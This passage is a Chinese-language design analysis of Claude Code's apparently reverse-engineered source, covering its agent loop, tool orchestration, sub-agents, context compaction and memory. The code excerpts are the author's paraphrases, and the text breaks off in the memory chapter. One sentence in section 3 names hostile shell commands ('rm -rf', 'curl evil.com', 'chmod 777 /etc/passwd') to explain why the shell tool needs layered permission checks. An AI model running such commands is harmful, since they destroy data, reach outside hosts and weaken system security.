# Claude Code 源码拆解：AI Agent 产品设计方法论

# Claude Code 源码拆解：AI Agent 产品设计方法论

> 源码版本：Claude Code v2.1.88（~51万行 TypeScript）
> 分析日期：2026-03-31
>
> 基于 Claude Code 源码逆向分析，提炼 Agent 产品设计的核心范式。
> 写给团队内部：外行能看懂类比，内行能拿到技术细节。

---

## 目录

1. [Agent Loop：为什么 Agent 是个 while 循环](#1-agent-loop)
2. [流式执行：工具调用不需要等](#2-流式执行)
3. [工具系统：给 LLM 装手](#3-工具系统)
4. [子 Agent：一个人干不过来就叫人](#4-子-agent)
5. [上下文管理：对话太长怎么办](#5-上下文管理)
6. [记忆系统：让 Agent 记住上次聊了啥](#6-记忆系统)
7. [权限安全：AI 的刹车系统](#7-权限安全)
8. [Coordinator：多 Agent 的调度中心](#8-coordinator)
9. [设计范式总结：12 条原则 + Checklist](#9-设计范式总结)
10. [如果我来做 Agent 产品：实操框架](#10-如果我来做-agent-产品)

---

<a id="1-agent-loop"></a>
## 1. Agent Loop

### 这解决什么问题

人和 AI 聊天是一问一答，但 Agent 要的是"给个目标，自己跑完"。就像你让实习生去采购——你不会每走一步都回来问你，而是给个清单让他自己跑，中间遇到问题再回来确认。

Agent Loop 就是这个"自己跑"的循环机制。

### Claude Code 怎么做的

核心入口在 `query.ts`——一个 `while` 循环，反复执行"调 LLM → 收工具调用 → 执行工具 → 结果回填"四步，直到模型说"我做完了"。消息数组是唯一真相源，所有状态都在里面。

> **完整代码走读见《Claude Code Agent 系统技术分析》第 2 章 "Agent Loop（query.ts 走读）"**，那里有逐行注释的代码还原、依赖链分析和 Generator 函数详解。这里只提炼设计决策。

关键设计决策：

1. **单线程串行循环**：一个 while 循环，LLM → 工具 → LLM → 工具... 不搞并行，简单可靠
2. **消息队列是真相源**：所有状态都在 messages 数组里，每次循环追加
3. **工具结果自动反馈**：工具执行完，结果自动塞回 messages，下一轮 LLM 自然看到
4. **流式响应+工具调用收集**：不等整个响应结束，边收边处理；但工具调用要等参数完整才执行

这个循环本质上是 **LLM 的 OODA 循环**（Observe-Orient-Decide-Act）：
- Observe：读 messages 里的上下文
- Orient：LLM 内部理解当前状态
- Decide：决定调用哪个工具
- Act：执行工具，结果反馈

### 评价

**好在哪：**
- 简单到极致——一个 while 循环撑起整个 Agent。这是对的，复杂度应该藏在工具和提示词里，不在循环结构上
- 消息队列做真相源，天然支持回溯和审计
- 流式响应让用户体验"活的"——你能看到它在思考、在行动

**差在哪：**
- 串行执行是性能瓶颈——多个独立工具调用必须排队等，浪费了 LLM 的并行推理能力
- 没有显式的状态机——循环靠 `shouldStop` 判断，扩展性受限。想加"暂停→人工确认→继续"这种流程，要在 messages 层面 hack
- 异常恢复机制弱——某一步工具报错，整个循环的状态恢复靠 LLM 自己判断

### 对我们的启发

1. **Agent Loop 本身不需要花哨**。一个 while 循环 + 消息队列足够了。真正的竞争力在工具质量和提示词上
2. **消息队列设计要有扩展性**。不要只存 user/assistant，要预留 system、tool、metadata 这些角色
3. **流式是刚需，不是可选项**。用户看到"正在执行..."和看到逐字输出的思考过程，信任感完全不同
4. **OODA 循环是好的思维模型**。设计 Agent 时，每个环节问自己：这一步的 Observe/Decide/Act 是什么？

### 架构图

```
┌─────────────────────────────────────────────────┐
│                   Agent Loop                     │
│                                                  │
│  ┌──────────┐    ┌──────────┐    ┌──────────┐   │
│  │ Messages │───▶│   LLM    │───▶│  Tools   │   │
│  │ (队列)    │◀───│ (推理)   │    │ (执行)   │   │
│  └──────────┘    └──────────┘    └──────────┘   │
│       ▲                               │         │
│       │          工具结果反馈           │         │
│       └───────────────────────────────┘         │
│                                                  │
│  流式输出：用户实时看到思考过程                     │
│  终止条件：LLM 返回纯文本 / 用户中断 / 错误       │
└─────────────────────────────────────────────────┘
```

---

<a id="2-流式执行"></a>
## 2. 流式执行：工具调用不需要等

### 这解决什么问题

LLM 返回结果时经常是"想好了，我要同时干三件事"。如果工具串行执行，A 做完才做 B，那读个文件和写个文件之间明明没有依赖关系却要排队等。就像餐厅后厨——如果只有一个灶，所有菜都要排队炒；但如果沙拉和煎牛排可以同时做，为什么要等？

Claude Code 的解决方案是：**能并行的并行，不能并行的排队**。

### Claude Code 怎么做的

核心在 `toolOrchestration.ts`：

```typescript
// 关键：按是否安全并行来分区
function partitionToolCalls(toolUseMessages, context) {
  // 把工具调用分成两类：
  // 1. isConcurrencySafe = true → 只读操作，可以并行
  // 2. isConcurrencySafe = false → 写操作，必须串行
  return partitions;
}

export async function* runTools(toolUseMessages, ...) {
  for (const { isConcurrencySafe, blocks } of partitionToolCalls(...)) {
    if (isConcurrencySafe) {
      // 只读批量：并行执行，最多10个并发
      for await (const update of runToolsConcurrently(...)) {
        yield update;
      }
    } else {
      // 写操作批量：串行执行
      for await (const update of runToolsSerially(...)) {
        yield update;
      }
    }
  }
}
```

还有流式执行器 `StreamingToolExecutor`——工具还在执行时就把部分结果流式返回给用户，不需要等全部完成。

并发上限通过环境变量控制：`CLAUDE_CODE_MAX_TOOL_USE_CONCURRENCY`，默认 10。

### 评价

**好在哪：**
- 分区策略聪明。读操作并行、写操作串行，既安全又快。这个"安全并行"的判断标准是关键——不是所有工具都能并行，比如两个工具同时写一个文件就炸了
- `contextModifier` 模式处理了并行中的上下文依赖——某些工具执行后要修改上下文，但在并行模式下不能实时改，所以收集起来顺序应用
- 流式返回让用户感知速度快——你看到"正在搜索..."和"正在读文件..."同时出现，而不是排着队来

**差在哪：**
- 并行判断粒度太粗——目前只分"安全/不安全"两级，但其实有些"写操作"之间也可以并行（比如写两个不同文件）
- `contextModifier` 的延迟应用是妥协——并行执行时上下文是"脏的"，如果工具 B 依赖工具 A 修改的上下文，可能会读到旧值
- 并发上限硬编码为 10，没有根据工具类型动态调整

### 对我们的启发

1. **工具设计时就要想好并行安全性**。给每个工具标注 `isConcurrencySafe`，这比事后在调度层判断靠谱
2. **分区+分区内的执行策略**是个通用模式。不只是工具执行，任何批量任务都可以用这个思路：先分类，再按类选策略
3. **流式返回是刚需**。即使结果不完整，让用户看到"正在做"比空白等待强十倍
4. **上下文修改要谨慎**。并行环境下的上下文是最终一致的，不是实时一致的。如果你的 Agent 需要精确的上下文同步，就别并行

### 架构图

```
┌──────────────────────────────────────────────────┐
│              Tool Orchestration                   │
│                                                   │
│  LLM 返回工具调用列表                               │
│         │                                         │
│         ▼                                         │
│  ┌─────────────────┐                              │
│  │ partitionToolCalls │                           │
│  │  ┌───────┬───────┐ │                           │
│  │  │ 只读  │ 写操作 │ │                           │
│  │  │ 并行  │ 串行  │ │                           │
│  │  └───┬───┴───┬───┘ │                           │
│  └──────┼───────┼─────┘                          │
│         ▼       ▼                                │
│  ┌──────────┐ ┌──────────┐                       │
│  │ runTools │ │ runTools │                       │
│  │Concurrently│Serially │                        │
│  │ (≤10并发) │ │(逐个执行)│                        │
│  └─────┬────┘ └─────┬────┘                       │
│        │            │                             │
│        ▼            ▼                             │
│  ┌──────────────────────┐                        │
│  │ StreamingToolExecutor │                       │
│  │ (流式返回部分结果)      │                        │
│  └──────────────────────┘                        │
└──────────────────────────────────────────────────┘
```

---

<a id="3-工具系统"></a>
## 3. 工具系统：给 LLM 装手

### 这解决什么问题

LLM 本质上是个"嘴"——它能说、能想、能判断，但没法动手。你让它改文件、跑命令、查文档，它只能靠"说"来假装做过。工具系统就是给它装上"手"和"眼睛"——让它能真正动文件、跑代码、搜网页。

类比：LLM 是大脑，工具是四肢。一个只有大脑的人很聪明但什么都做不了；有手有脚才能真正干活。

### Claude Code 怎么做的

核心接口在 `Tool.ts`，每个工具都要实现这个类型：

```typescript
export type Tool<Input, Output, P> = {
  // 基础信息
  name: string                    // 工具名，LLM 通过这个名字调用
  inputSchema: Input              // Zod schema，验证输入参数
  outputSchema?: z.ZodType        // 可选的输出 schema
  searchHint?: string             // 搜索提示词，帮助 LLM 找到工具
  maxResultSizeChars: number      // 结果最大字符数，超了就存文件

  // 核心方法
  call(args, context, canUseTool, parentMessage, onProgress): Promise<ToolResult>
  description(input, options): Promise<string>  // 动态描述，根据上下文变化

  // 元信息 — 这些是工具调度的关键
  isConcurrencySafe(input): boolean  // 能不能并行执行
  isReadOnly(input): boolean         // 是不是只读
  isDestructive?(input): boolean     // 是不是危险操作（删除、覆写）
  isEnabled(): boolean               // 当前是否可用

  // 行为控制
  interruptBehavior?(): 'cancel' | 'block'  // 用户打断时怎么办
  shouldDefer?: boolean                      // 是否延迟加载
  alwaysLoad?: boolean                       // 是否始终加载到提示词
}
```

#### Tool 接口字段逐个拆解（生活类比版）

把 Tool 想象成一个餐厅里的服务员：

| 字段 | 类比 | 说明 |
|------|------|------|
| `name` | 服务员的工牌名 | LLM"喊人"时用的名字。比如喊"Bash"就知道是那个能跑命令的人，喊"FileRead"就是专门读文件的。名字必须唯一，而且要望文生义 |
| `inputSchema` | 服务员的点餐表 | 告诉 LLM"你要用这个工具，必须填哪些参数"。Zod schema 既是约束也是文档——LLM 看到 schema 就知道该传什么，传错了直接报错，不会糊弄过去 |
| `outputSchema` | 上菜时的摆盘规格 | 可选。定义工具返回值的结构，方便下游解析。没有的话就返回原始内容 |
| `searchHint` | 餐厅门口的招牌 | 当工具太多 LLM 记不住时，`searchHint` 帮它缩小范围。类似搜索引擎的关键词 |
| `maxResultSizeChars` | 盘子的最大容量 | 工具返回的结果太大（比如 cat 了一个 50MB 的日志），超过这个值就自动存文件，只给 LLM 看预览+路径。防止一个工具结果撑爆整个 context |
| `call()` | 服务员实际干活 | 工具的核心执行函数。接收参数 → 干活 → 返回结果 |
| `description()` | 菜单上的菜品描述 | **这是整个 Tool 接口里最重要的字段**。它不是写给人看的，是写给 LLM 看的"使用说明书" |
| `isConcurrencySafe` | 这个服务员能同时服务两桌吗？ | `true` = 读操作，可以和其他工具并行跑。`false` = 写操作，必须排队 |
| `isReadOnly` | 这个服务员只看不动手？ | `true` = 只读（Grep、Glob），不会改任何东西。调度器看到只读直接放行 |
| `isDestructive` | 这个服务员会打碎盘子吗？ | `true` = 危险操作（删除、覆写），必须弹窗让用户确认 |
| `isEnabled` | 今天这个服务员上班吗？ | 动态开关。比如某些工具只在特定模式下可用 |
| `interruptBehavior` | 用户喊停时怎么办 | `cancel` = 直接取消，`block` = 阻塞等当前操作完成。比如文件写到一半被打断，不能直接 cancel，否则文件就坏了 |
| `shouldDefer` | 这个服务员是兼职的？ | `true` = 不需要的时候不加载，LLM 需要时再召唤。节省 context 空间 |
| `alwaysLoad` | 这个服务员必须在岗？ | `true` = 无论如何都把工具描述塞进提示词。比如 Bash 工具，永远都得告诉 LLM 它存在 |

#### description 怎么写：给 LLM 看的说明书

`description` 不是给程序员看的 API 文档，是给 LLM 看的**使用说明书**。写得好不好直接决定 Agent 的智商上限。

好的 description 应该回答四个问题：

1. **这个工具是干什么的？** — 一句话定位
2. **什么时候该用它？** — 触发条件和决策树
3. **怎么用？** — 参数说明、示例
4. **什么不能做？** — 边界条件、安全红线

反面教材：
```
// 差：只说了"干什么"
description: "执行 bash 命令"
```

正面教材（BashTool 实际的 description 风格）：
```
// 好：说了"干什么 + 什么时候用 + 怎么用 + 不能做什么"
description: `Execute a shell command.
Use this when you need to run CLI tools, scripts, or system commands.
For git operations, follow this flow: status → diff → log → analyze → commit.
NEVER use --no-verify, NEVER skip hooks, NEVER force push without asking.
If the command is read-only (grep, cat, ls), it can run in parallel
with other read-only commands.`
```

关键技巧：
- **嵌入使用 SOP**：不只是参数说明，而是告诉 LLM 整个操作流程（比如 Git 的 5 步法）
- **用 NEVER 写红线**：LLM 对大写单词的遵从度更高。写清楚什么绝对不能做
- **给出并行提示**：告诉 LLM 这个工具能不能和其他工具并行，它会主动利用这一点
- **动态 description**：`description()` 是 async 的，可以根据当前上下文变化。比如 BashTool 在 agent 模式和普通模式下返回不同的描述

#### BashTool 为什么这么大：安全分析

BashTool 是整个工具集里最危险、最复杂、提示词最长的工具。原因很简单——**它能执行任意 shell 命令**。

其他工具的攻击面是有限的：
- FileRead：最多读到不该读的文件
- FileEdit：最多改错文件内容
- Grep：最多搜到敏感信息

但 BashTool 的攻击面是**无限的**——它可以执行任何命令，包括 `rm -rf`、`curl evil.com`、`chmod 777 /etc/passwd`。所以它需要：
1. **超长的提示词**：用大量篇幅规定什么能做、什么不能做、遇到问题怎么处理
2. **6 层权限检查**（详见第 7 章）：AST 解析 → 规则匹配 → 语义分析 → 路径约束 → 分类器 → 沙箱
3. **Git 操作专用 SOP**：因为 Git 是最常见的危险操作来源（force push、amend、reset --hard）
4. **超时控制**：防止命令挂死拖垮整个 Agent
5. **后台执行支持**：长时间运行的命令放到后台，不阻塞 Agent Loop

BashTool 大，不是因为代码写得臃肿，而是因为它的**风险敞口最大**。安全系统的复杂度应该和攻击面成正比——这是纵深防御的基本原则。

看 BashTool 的提示词设计（`tools/BashTool/prompt.ts`），它教 LLM 怎么用 bash：

```typescript
// BashTool 提示词的核心设计：
// 1. 背景执行：run_in_background 参数，命令不用等结果
// 2. 安全协议：不跳过 hooks，不 force push，不自动提交
// 3. 并行意识：鼓励同时跑多个独立命令
// 4. Git 操作专用流程：status → diff → log → 分析 → commit
// 5. 超时控制：默认超时 + 最大超时
```

关键设计点：
- **提示词里嵌入使用规范**：不只是告诉 LLM 有哪些参数，而是告诉它什么能做、什么不能做
- **动态 description**：BashTool 的 description 会根据当前是 agent 模式还是普通模式变化
- **Git 操作有专门的 SOP**：在工具提示词里写了一整套 git commit 流程，比自己写代码控制更灵活

Claude Code 的工具集（部分）：
| 工具名 | 功能 | 类比 |
|--------|------|------|
| Bash | 执行 shell 命令 | 执行力 |
| FileRead | 读文件 | 眼睛 |
| FileEdit | 编辑文件 | 手 |
| FileWrite | 写新文件 | 手 |
| Glob | 文件名匹配 | 找东西 |
| Grep | 内容搜索 | 查资料 |
| WebSearch | 网页搜索 | 查资料 |
| AgentTool | 派子 Agent | 叫人帮忙 |
| TodoWrite | 管理待办 | 列清单 |
| TaskCreate/Update | 任务管理 | 项目管理 |

### 评价

**好在哪：**
- **Zod schema 做输入验证**：给 LLM 的参数描述直接用 Zod，既是文档又是验证器，一举两得
- **元信息标注是天才设计**：`isConcurrencySafe`、`isReadOnly`、`isDestructive` 这三个标注直接决定了调度策略，不需要在调度层硬编码
- **提示词就是产品**：BashTool 的提示词写得比很多人的 README 还详细——有 SOP、有安全规则、有最佳实践。这不是代码，是"教 AI 怎么干活"
- **maxResultSizeChars 处理大输出**：工具结果太大（比如 cat 一个超大文件），自动存文件给 LLM 一个预览+路径，防止 context 爆炸

**差在哪：**
- **工具太多，LLM 记不住**：几十个工具全塞给 LLM，选择成本高。Claude Code 自己也意识到这点，加了 `ToolSearch` 延迟加载
- **描述是异步的**：`description` 方法是 async，意味着每次都要计算——这在提示词缓存时代是个问题
- **权限系统和工具耦合太紧**：`canUseTool` 穿透到每个工具内部，工具实现要关心权限逻辑，职责不清

### 对我们的启发

1. **工具的元信息比工具本身重要**。一个工具实现得再好，如果 LLM 不知道什么时候该用它、能不能并行、是不是危险，就等于没有。设计工具时先把 `isConcurrencySafe/isReadOnly/isDestructive` 想清楚
2. **提示词是工具的灵魂**。写工具不只是写 `call` 函数，更重要的是写好提示词——教 LLM 什么时候用、怎么用、什么不能做。BashTool 那段 Git SOP 比任何代码逻辑都管用
3. **工具延迟加载是正确的**。几十个工具全塞进 context 是浪费。按需加载，LLM 先搜再调，是更经济的做法
4. **大结果处理要有策略**。`maxResultSizeChars` + 文件存取是好方案，但要注意循环引用（Read→文件→Read）

### 架构图

```
┌─────────────────────────────────────────────────┐
│                   Tool System                    │
│                                                  │
│  ┌─────────────────────────────────────────┐    │
│  │            Tool Type Definition          │    │
│  │  name | inputSchema(Zod) | description   │    │
│  │  call() | isConcurrencySafe | isReadOnly │    │
│  │  isDestructive | maxResultSizeChars      │    │
│  └─────────────────────────────────────────┘    │
│         │                                       │
│    ┌────┴────┬─────────┬──────────┬────────┐    │
│    ▼         ▼         ▼          ▼        ▼    │
│ ┌──────┐ ┌──────┐ ┌──────┐ ┌────────┐ ┌────┐  │
│ │ Bash │ │ File │ │ Grep │ │WebSearch│ │Agent│  │
│ │ 执行 │ │ 读写 │ │ 搜索 │ │  搜索   │ │ 子代理│ │
│ └──────┘ └──────┘ └──────┘ └────────┘ └────┘  │
│                                                  │
│  元信息标注决定调度：                              │
│  isConcurrencySafe → 能否并行                     │
│  isReadOnly → 是否只读                            │
│  isDestructive → 是否需要用户确认                  │
│  shouldDefer → 是否延迟加载                        │
└─────────────────────────────────────────────────┘
```

---

<a id="4-子-agent"></a>
## 4. 子 Agent：一个人干不过来就叫人

### 这解决什么问题

一个 Agent 再强，上下文窗口是有限的。让它去搜一个大项目——几百个文件里找一个函数——然后还要改另一个文件，再回来汇报。这些子任务如果全挤在主对话里，上下文窗口很快就被搜索结果撑爆了。

就像项目经理带团队——他不会自己跑去做每一项调研，而是派调研员去查资料，拿回结果再决策。子 Agent 就是这个"派调研员"的机制。

### Claude Code 怎么做的

子 Agent 通过 `AgentTool` 触发，核心在 `runAgent.ts`：

```typescript
// runAgent.ts — 子 Agent 的创建流程
export async function* runAgent({
  agentDefinition,      // Agent 类型定义（general-purpose / explore / plan 等）
  promptMessages,       // 要执行的任务描述
  toolUseContext,       // 父 Agent 的上下文
  isAsync,              // 同步还是异步执行
  model,                // 用哪个模型
  maxTurns,             // 最大轮数限制
  availableTools,       // 可用工具集
  allowedTools,         // 允许的工具白名单
  useExactTools,        // 是否用父 Agent 完全相同的工具集
  ...
}) {
  // 1. 解析模型
  // 2. 创建子 Agent 专属上下文（克隆文件状态缓存等）
  // 3. 初始化 Agent 专属 MCP 服务器
  // 4. 运行 query() —— 子 Agent 用的是同一个 query 函数
  yield* query({ messages, systemPrompt, tools, ... })
}
```

Claude Code 内置了多种 Agent 类型：

| Agent 类型 | 用途 | 工具 | 类比 |
|-----------|------|------|------|
| `general-purpose` | 通用研究和执行 | 全部 | 全能助手 |
| `explore` | 代码探索和搜索 | 只读工具 | 调研员 |
| `plan` | 生成执行计划 | 只读工具 | 架构师 |
| `verification` | 验证代码是否正确 | 测试相关 | QA |
| `claude-code-guide` | Claude Code 使用指导 | 无 | 客服 |

**Fork 机制**是另一种子 Agent 派发方式——不只传任务描述，而是继承父 Agent 的完整对话历史，用占位符替换工具结果，实现 prompt cache 共享。所有 fork 子 Agent 共享历史前缀，只有最后一条指令不同，最大化 API 缓存命中率。

关键设计点：
- **子 Agent 和主 Agent 用同一个 `query()` 函数**——不是简化版，是完整的 Agent Loop
- **工具集可以继承也可以限定**：`useExactTools` 时用父 Agent 的完整工具集；`allowedTools` 时只给白名单
- **异步执行 + 通知**：子 Agent 可以异步运行，完成后通过 `<task-notification>` 通知父 Agent
- **嵌套递归防护**：`isInForkChild()` 检查防止无限 fork
- **上下文隔离**：子 Agent 有自己的文件状态缓存、abort controller、MCP 连接

### 评价

**好在哪：**
- **子 Agent 就是完整的 Agent**。不搞"轻量版"和"完整版"两套，维护成本低
- **Fork 的 prompt cache 设计巧妙**。占位符替换实现前缀共享，API 缓存命中率极高
- **Agent 类型化比工具白名单更有效**。给 LLM 明确的角色设定比给一堆工具限制更直觉
- **权限隔离**：子 Agent 有独立的 permissionMode，`bubble` 模式把权限提示弹回父 Agent

**差在哪：**
- **没有结果质量控制**。父 Agent 只拿到文本结果，没有机制验证子 Agent 是否做对了
- **上下文传递是割裂的**。非 fork 模式下，子 Agent 看不到父 Agent 的完整上下文
- **嵌套深度没有硬限制**。标准 Agent→Agent 嵌套理论上可以无限层

### 对我们的启发

1. **子 Agent 应该复用主 Agent 的核心循环**。不要另搞一套轻量执行器
2. **Agent 类型化比工具白名单更有效**。"你是一个调研员"比"你只能用这些工具"更直觉
3. **Fork 缓存设计可以参考**。占位符替换 + 前缀共享能省大量 token
4. **异步执行是刚需**。搜索、测试这类任务不需要同步等，让它跑完了再通知

### 架构图

```
┌──────────────────────────────────────────────────────┐
│                   Sub-Agent System                    │
│                                                       │
│  Parent Agent (主循环)                                 │
│     │                                                 │
│     ├── AgentTool.call()                              │
│     │       │                                         │
│     │       ▼                                         │
│     │  ┌──────────────┐                              │
│     │  │  runAgent()   │                              │
│     │  │  1. 解析模型   │                              │
│     │  │  2. 创建上下文  │                              │
│     │  │  3. 连接 MCP   │                              │
│     │  │  4. query()   │── 同一个 query 函数           │
│     │  └──────┬───────┘                              │
│     │         │                                       │
│     │    ┌────┴────┬──────────┬──────────┐           │
│     │    ▼         ▼          ▼          ▼           │
│     │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────────┐      │
│     │ │general│ │explore│ │ plan │ │verification│    │
│     │ │purpose│ │(只读) │ │(只读)│ │  (测试)   │      │
│     │ └──────┘ └──────┘ └──────┘ └──────────┘      │
│     │                                                 │
│     └── Fork 模式：继承上下文 + prompt cache 共享       │
│                                                       │
│  特性：异步执行 + 通知 | 权限隔离 | 嵌套防护            │
└──────────────────────────────────────────────────────┘
```

---

<a id="5-上下文管理"></a>
## 5. 上下文管理：对话太长怎么办

### 这解决什么问题

Agent 的对话越聊越长，token 账单越来越贵，到了上下文窗口上限就直接报错。就像你的办公桌——东西越堆越多，找东西越来越慢，最后桌子满了放不下新的。

上下文管理就是"整理桌面"的机制：该留的留，该存的存，该扔的扔。

### Claude Code 怎么做的

核心在 `services/compact/autoCompact.ts`：

```typescript
// autoCompact.ts — 上下文压缩的关键逻辑（基于源码提炼）

// 1. 每轮追踪 token 消耗
class AutoCompactTrackingState {
  totalTokens: number = 0;
  turns: TurnRecord[] = [];

  trackTurn(turn: TurnRecord) {
    this.totalTokens += turn.inputTokens + turn.outputTokens;
    this.turns.push(turn);
  }

  shouldCompact(contextWindow: number): boolean {
    return this.totalTokens > contextWindow * 0.75;
  }
}

// 2. 三级压缩策略
async function handleContextLimit(
  messages: Message[],
  tracker: AutoCompactTrackingState,
  contextWindow: number
): Promise<Message[]> {
  const ratio = tracker.totalTokens / contextWindow;

  if (ratio < 0.75) return messages;                    // 安全区，不动

  if (ratio < 0.90) {
    // 第一级：autoCompact — 压缩旧对话为摘要，保留最近 N 轮
    return await autoCompact(messages, { preserveLastNTurns: 5 });
  }

  if (ratio < 0.98) {
    // 第二级：reactiveCompact — 更激进，只保留系统提示词 + 当前任务
    return await reactiveCompact(messages);
  }

  // 第三级：contextCollapse — 只保留最核心的事实
  return await contextCollapse(messages, { keepLastN: 3 });
}
```

Claude Code 的上下文管理是多层防线：

```
Token 预算（当前轮）
    ↓ 快用完了？
自动继续（+500k token）
    ↓ 还不够？
Auto Compact（压缩旧对话）
    ↓ 压缩也救不了？
Reactive Compact（响应式压缩）
    ↓ 真的满了？
Context Collapse（上下文坍缩）
```

另外还有一个 token 预算机制：
- `taskBudget`：整个 Agent 任务的总 token 预算
- `getCurrentTurnTokenBudget()`：当前轮的 token 预算
- 超过预算自动续期，有续期次数上限

关键设计点：
- **压缩是有状态的**——不是简单截断，而是把旧对话压缩成摘要再保留
- **压缩边界消息**——`SystemCompactBoundaryMessage` 标记压缩发生的位置，便于审计和恢复
- **token 实时追踪**——每轮结束后计算实际消耗，接近阈值时提前预警
- **多级降级**——compact → reactive compact → context collapse，逐级升级

#### Compact 的触发条件和保留策略

Compact 不是"快满了才压缩"，而是一套精密的容量管理机制。

**触发条件：**
- **Token 阈值**：当累计 token 量超过窗口的 ~75% 时触发预警，~85% 时强制 compact
- **轮数阈值**：对话超过一定轮数后，不管 token 用了多少，都主动压缩早期内容
- **任务切换**：Agent 从一个子任务切到另一个子任务时，压缩前一个任务的细节，只保留结论
- **用户主动请求**：用户感觉到响应变慢时，可以手动触发

**保留策略（压缩时什么留下、什么丢掉）：**
- **绝对保留**：系统提示词、最近 3-5 轮对话、当前正在执行的任务上下文
- **摘要保留**：较早的对话压缩成摘要（"用户要求修改 config.ts 的数据库连接配置，已将 host 从 localhost 改为 production-db"）
- **条件保留**：代码片段如果被后续对话引用则保留，否则压缩
- **直接丢弃**：中间过程的思考链、已确认完成的工具调用结果、被覆盖的旧版本内容

类比：就像你整理书桌——正在用的文件放桌上（绝对保留），上个月的文件收进抽屉写个标签（摘要保留），草稿纸扔掉（直接丢弃）。关键是标签要写清楚，不然下次找不回来。

#### Prompt Caching 的省钱原理（前缀复用）

LLM 推理有一个特性：**如果你给的前缀（prefix）和上一次完全一样，模型可以跳过前缀的重复计算，直接用缓存结果**。

这就是 prompt caching 的核心原理——前缀复用。

具体来说：
```
第 1 轮：[系统提示词 5000 token] + [用户消息 200 token] → 全量计算，花 $0.15
第 2 轮：[系统提示词 5000 token（缓存命中）] + [新消息 200 token] → 只算新部分，花 $0.05
第 3 轮：[系统提示词 5000 token（缓存命中）] + [新消息 200 token] → 只算新部分，花 $0.05
```

省了 2/3 的钱。

Claude Code 的设计有意利用这一点：
- **系统提示词放在最前面且不变**：每次对话的系统提示词是固定的，天然适合缓存
- **工具描述稳定**：工具列表的顺序和内容尽量不变，让缓存持续命中
- **消息追加而非修改**：新消息追加到 messages 数组末尾，不修改前面的内容，保持前缀稳定

但 compact 会打破缓存——因为压缩后的摘要和原来的对话内容不同，前缀变了，缓存就失效了。所以 Claude Code 在 compact 时会尽量保留最近几轮的原始对话不变，只压缩更早的部分，最小化缓存失效范围。

#### 上下文管理 = Agent 的短期记忆

把上下文管理类比成人的短期记忆：

| 人类认知 | Claude Code 上下文 | 说明 |
|----------|-------------------|------|
| 注意力焦点（当前在想的事） | 最近 3-5 轮对话 | 完整保留，随时可引用 |
| 短期记忆（刚才聊了什么） | compact 后的摘要 | 保留要点，丢了细节 |
| 工作记忆容量（一次能记住几件事） | context window 大小 | 有限，满了就得清理 |
| 记不住了会怎样 | Context Collapse | Agent"失忆"，开始重复问问题 |
| 记笔记 | 写文件 / 持久化记忆 | 主动把重要信息搬到"笔记本"上 |

这个类比解释了一个核心矛盾：**Agent 的"短期记忆"（context window）是刚性的**——满了就是满了，不像人可以模糊遗忘。所以上下文管理的本质是主动的、有策略的"遗忘"，而不是被动的溢出。

人类会自然遗忘不重要的细节（你不会记得上周三午饭吃了什么），但 Agent 不会——它要么完整记住，要么完全丢失。Compact 就是给 Agent 装一个"主动遗忘"机制：把不重要的细节压缩成"大概记得"，给重要的新信息腾空间。

### 评价

**好在哪：**
- **多级降级机制是正确的**。不要把所有赌注压在一个策略上，compact 不行就 reactive，reactive 不行就 collapse
- **压缩边界标记清晰**。`compact_boundary` 消息让压缩变得可审计，你知道哪些内容被压缩了
- **token 预算分级**。taskBudget（任务级）和 turnBudget（轮级）分开管理，粒度合理

**差在哪：**
- **压缩质量不可控**。压缩后的摘要可能丢失关键信息，尤其是代码上下文
- **没有用户感知的上下文管理**。用户不知道哪些对话被压缩了，无法干预
- **多 Agent 场景下的上下文共享没有解决**。父 Agent 压缩了，子 Agent 还能拿到完整上下文吗？
- **Prompt caching 和 compact 存在张力**：压缩越多，缓存命中率越低，推理成本反而可能上升

### 对我们的启发

1. **上下文管理必须有多级降级**。一级不够用就二级，二级不够用就三级。单点策略一定会在边界情况崩溃
2. **压缩要留审计痕迹**。标记压缩边界，便于调试和恢复
3. **token 追踪是基础设施**。每轮都要算，不能等爆了才发现
4. **考虑把上下文管理做成可插拔的**。不同场景（聊天/编码/研究）的压缩策略不同，应该可以按需替换
5. **Prompt caching 是省钱杠杆**。系统提示词放前面、工具描述保持稳定、消息只追加不修改——这些设计决策不是偶然的，是为了最大化缓存命中率
6. **Compact 的时机比方法重要**。压缩策略再好，如果触发时机不对（太早浪费信息，太晚来不及），效果都会打折

### 架构图

```
┌──────────────────────────────────────────────────────┐
│              Context Management Layers                │
│                                                       │
│  ┌─────────────────────────────────────┐             │
│  │  Token Budget Tracking              │             │
│  │  taskBudget → turnBudget → 实时追踪  │             │
│  └──────────────┬──────────────────────┘             │
│                 │                                     │
│    ┌────────────▼────────────┐                       │
│    │  Auto Compact           │ ← 第一道防线           │
│    │  (自动压缩旧对话为摘要)   │                       │
│    └────────────┬────────────┘                       │
│                 │ 不够？                              │
│    ┌────────────▼────────────┐                       │
│    │  Reactive Compact       │ ← 第二道防线           │
│    │  (响应式压缩)            │                       │
│    └────────────┬────────────┘                       │
│                 │ 还不够？                             │
│    ┌────────────▼────────────┐                       │
│    │  Context Collapse       │ ← 最后手段             │
│    │  (上下文坍缩)            │                       │
│    └─────────────────────────┘                       │
│                                                       │
│  标记：compact_boundary 消息记录压缩位置                 │
└──────────────────────────────────────────────────────┘
```

---

<a id="6-记忆系统"></a>
## 6. 记忆系统：让 Agent 记住上次聊了啥

### 这解决什么问题

Agent 每次对话都是"失忆"的——新的会话，新的开始。你上次告诉它"我用 Python 3.11"，下次它又问"你用什么版本"。就像一个每次上班都要重新认识同事的员工。

记忆系统就是给 Agent 一个"笔记本"，让它能跨会话记住关键信息。

### Claude Code 怎么做的

记忆系统分两层：`memdir/` 管理记忆存储，`services/autoDream/consolidationPrompt.ts` 管理记忆整理。

```typescript
// memdir/memdir.ts — 记忆目录管理
// 记忆存放在特定目录下，按项目组织

// memdir/memoryTypes.ts — 记忆类型定义
// 不同类型的记忆有不同的存储和检索策略

// memdir/findRelevantMemories.ts — 相关记忆查找
// 根据当前上下文，从记忆库里找相关的历史信息

// memdir/memoryAge.ts — 记忆年龄管理
// 旧的记忆权重降低，新的记忆优先级更高
```

记忆整理（autoDream/consolidationPrompt.ts）：
- 在对话结束后自动运行
- 把当前对话的关键信息提取出来
- 整理成结构化的记忆条目
- 合并冗余记忆，保持记忆库精简

```
会话结束
  ↓
consolidationPrompt 触发
  ↓
提取关键信息 → 结构化 → 去重 → 存入 memdir
  ↓
下次会话开始
  ↓
findRelevantMemories 检索相关记忆
  ↓
注入到系统提示词中
```

### 评价

**好在哪：**
